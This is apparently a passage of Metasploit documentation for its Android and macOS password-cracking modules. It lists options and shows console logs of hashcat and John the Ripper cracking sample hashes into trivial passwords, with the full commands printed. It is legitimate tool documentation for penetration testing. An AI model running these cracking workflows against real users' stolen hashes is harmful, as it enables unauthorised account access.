host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
md5_password password Password
blowfish_password $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe Nonreplayable hash bf
des_pot_55 55 Password
des_password password Password
md52_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
sha256_password password Password
bsdi_password _J9..K0AyUubDrfOgO4s Nonreplayable hash bsdi
sha512_password $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 Nonreplayable hash sha512
bsdi_password password Password
sha512_password password Password
blowfish_password password Password
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_55 55 Password
des2_password password Password
md5_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
md52_password password Password
md5_pot_password password Password
md5_pot_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ Nonreplayable hash md5
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
sha256_password $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 Nonreplayable hash sha256
```
@@ -0,0 +1,266 @@
## Vulnerable Application
This module attempts to use a password cracker to decode mobile (Android)
based password hashes, such as:
* `android-sha1` based passwords
* `android-samsung-sha1` based passwords
* `android-md5` based passwords
Formats:
| Common | John | Hashcat |
|----------------------| -----|---------|
| android-md5 | n/a | 10 |
| android-samsung-sha1 | n/a | 5800 |
| android-sha1 | n/a | 110 |
Sources of hashes can be found here:
[source](https://hashcat.net/forum/thread-2202.html)
## Verification Steps
1. Have at least one user with a `android-sha1`, `android-samsung-sha1`, or `android-md5` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_mobile```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**hashcat**
Use hashcat (default).
## Options
**MD5**
Crack `android-md5` based passwords. Default is `true`
**SHA1**
Crack `android-sha1` (non-samsung) based passwords. Default is `true`
**SAMSUNG**
Crack `android-samsung-sha1` based passwords. Default is `true`
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
msf5 post(android/gather/hashdump) > creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1
msf5 post(android/gather/hashdump) > previous
msf5 auxiliary(analyze/crack_mobile) > set showcommand true
showcommand => true
msf5 auxiliary(analyze/crack_mobile) > run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20191112-9775-19hbg7j
[*] Wordlist file written out to /tmp/jtrtmp20191112-9775-f3q0r1
[*] Checking android-sha1 hashes already cracked...
[*] Cracking android-sha1 hashes in pin mode...
[*] Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191112-9775-19hbg7j ?d?d?d?d?d?d?d?d
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-sha1 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191112-9775-19hbg7j
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --attack-mode=0 /tmp/hashes_tmp20191112-9775-19hbg7j /tmp/jtrtmp20191112-9775-f3q0r1
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
98 android-sha1 androidsha1 1234 Pin
[*] Auxiliary module execution completed
```
### MD5, SHA1, SAMSUNG
Create a password with each type, passwords are all `1234`.
```
msf5 > creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
msf5 > creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
msf5 > creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
```
```
msf5 > use auxiliary/analyze/crack_mobile
msf5 auxiliary(analyze/crack_mobile) > run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20191113-29506-1xydi7
[*] Wordlist file written out to /tmp/jtrtmp20191113-29506-aq6ph7
[*] Checking android-sha1 hashes already cracked...
[*] Cracking android-sha1 hashes in pin mode...
[*] Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-sha1 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
127 android-sha1 androidsha1 1234 Pin
[*] Checking android-samsung-sha1 hashes already cracked...
[*] Cracking android-samsung-sha1 hashes in pin mode...
[*] Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-samsung-sha1 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-samsung-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
126 android-samsung-sha1 samsungsha1 1234 Pin
127 android-sha1 androidsha1 1234 Pin
[*] Checking android-md5 hashes already cracked...
[*] Cracking android-md5 hashes in pin mode...
[*] Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-md5 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-md5 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
126 android-samsung-sha1 samsungsha1 1234 Pin
127 android-sha1 androidsha1 1234 Pin
128 android-md5 androidmd5 1234 Pin
[*] Auxiliary module execution completed
```
@@ -0,0 +1,395 @@
## Vulnerable Application
This module attempts to use a password cracker to decode Mac OS X
based password hashes, such as:
* `XSHA` based passwords (10.4-10.6)
* `XSHA512` based passwords (10.7)
* `PBKDF2-HMAC-SHA512` based passwords (10.8+)
| Common | John | Hashcat |
|--------------------|--------------------|---------|
| xsha | xsha | 122 |
| xsha512 | xsha512 | 1722 |
| pbkdf2-hmac-sha512 | pbkdf2-hmac-sha512 | 7100 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `xsha`, `xsha512`, `pbkdf2-hmac-sha512` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_osx```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**PBKDF2-HMAC-SHA512**
Crack SHA12 hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
**XSHA**
Crack xsha based hashes. Default is `true`.
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:buddahh hash:7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 jtr:xsha
creds add user:mama hash:3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA jtr:xsha
creds add user:hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha
creds add user:hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$
echo "" > /root/.msf4/john.pot
echo "3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA:mama" >> /root/.msf4/john.pot
echo "md5be86a79bf20fake2d58d5453c47d4860:password" >> /root/.msf4/john.pot
echo "password" > /tmp/wordlist
echo "buddahh" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_osx
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-30487-6zp8aw
[*] Wordlist file written out to /tmp/jtrtmp20190531-30487-7w6deh
[*] Checking xsha hashes already cracked...
[*] Cracking xsha hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 16:03) 100.0g/s 819200p/s 819200c/s 819200C/s test3:::..Password1\!99
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking xsha hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking xsha hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking xsha hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1398 xsha xsha_buddahh buddahh Single
1399 xsha xsha_mama mama Already Cracked/POT
[*] Checking xsha512 hashes already cracked...
[*] Cracking xsha512 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 16:03) 66.66g/s 568866p/s 1137Kc/s 1137KC/s test3:::..t1900
Use the "--show --format=xsha512" options to display all of the cracked passwords reliably
Session completed
[*] Cracking xsha512 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking xsha512 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking xsha512 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1398 xsha xsha_buddahh buddahh Single
1399 xsha xsha_mama mama Already Cracked/POT
1401 xsha512 xsha512_password password Single
1402 xsha512 xsha512_hashcat hashcat Single
[*] Checking PBKDF2-HMAC-SHA512 hashes already cracked...
[*] Cracking PBKDF2-HMAC-SHA512 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 16:03) 9.090g/s 290.9p/s 290.9c/s 290.9C/s test3:::..Thales
Use the "--show --format=PBKDF2-HMAC-SHA512" options to display all of the cracked passwords reliably
Session completed
[*] Cracking PBKDF2-HMAC-SHA512 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking PBKDF2-HMAC-SHA512 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking PBKDF2-HMAC-SHA512 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1398 xsha xsha_buddahh buddahh Single
1399 xsha xsha_mama mama Already Cracked/POT
1401 xsha512 xsha512_password password Single
1402 xsha512 xsha512_hashcat hashcat Single
1403 PBKDF2-HMAC-SHA512 pbkdf2_hashcat hashcat Single
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
xsha_buddahh 7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 Nonreplayable hash xsha
xsha_mama 3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA Nonreplayable hash xsha
xsha_hashcat 1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 Nonreplayable hash xsha
xsha512_password 229499e73f6ff50fbd76fa1a0b11fe10964b51b57ee0bc7ca29a5fdccaf264e132eb682abeb40a3513a1fe26397ddcd1b5d0161e5e3ff308377994f4bed4172efcc25f8a Nonreplayable hash xsha512
xsha512_hashcat 648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d Nonreplayable hash xsha512
pbkdf2_hashcat $ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 Nonreplayable hash PBKDF2-HMAC-SHA512
xsha_mama mama Password
xsha_buddahh buddahh Password
xsha512_password password Password
xsha512_hashcat hashcat Password
pbkdf2_hashcat hashcat Password
[*] Starting persistent handler(s)...
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_osx
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-31439-ulynqs
[*] Wordlist file written out to /tmp/jtrtmp20190531-31439-1bcms0z
[*] Checking xsha hashes already cracked...
[*] Cracking xsha hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=YpmTr019 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=122 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking xsha hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=YpmTr019 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=122 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1421 xsha xsha_buddahh buddahh Wordlist
1422 xsha xsha_mama mama Already Cracked/POT
1423 xsha xsha_hashcat hashcat Wordlist
[*] Checking xsha512 hashes already cracked...
[*] Cracking xsha512 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=HNDjhJcJ --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1722 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking xsha512 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=HNDjhJcJ --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1722 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1421 xsha xsha_buddahh buddahh Wordlist
1422 xsha xsha_mama mama Already Cracked/POT
1423 xsha xsha_hashcat hashcat Wordlist
1424 xsha512 xsha512_password password Wordlist
1425 xsha512 xsha512_hashcat hashcat Wordlist
[*] Checking PBKDF2-HMAC-SHA512 hashes already cracked...
[*] Cracking PBKDF2-HMAC-SHA512 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=Tnilqjei --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7100 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking PBKDF2-HMAC-SHA512 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=Tnilqjei --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7100 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-31439-ulynqs /tmp/jtrtmp20190531-31439-1bcms0z
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1421 xsha xsha_buddahh buddahh Wordlist
1422 xsha xsha_mama mama Already Cracked/POT
1423 xsha xsha_hashcat hashcat Wordlist
1424 xsha512 xsha512_password password Wordlist
1425 xsha512 xsha512_hashcat hashcat Wordlist
1426 PBKDF2-HMAC-SHA512 pbkdf2_hashcat hashcat Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
xsha_buddahh 7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 Nonreplayable hash xsha
xsha_mama 3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA Nonreplayable hash xsha
xsha_hashcat 1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 Nonreplayable hash xsha
xsha512_password 229499e73f6ff50fbd76fa1a0b11fe10964b51b57ee0bc7ca29a5fdccaf264e132eb682abeb40a3513a1fe26397ddcd1b5d0161e5e3ff308377994f4bed4172efcc25f8a Nonreplayable hash xsha512
xsha512_hashcat 648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d Nonreplayable hash xsha512
pbkdf2_hashcat $ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 Nonreplayable hash PBKDF2-HMAC-SHA512
xsha_mama mama Password
xsha_hashcat hashcat Password
xsha_buddahh buddahh Password
xsha512_hashcat hashcat Password
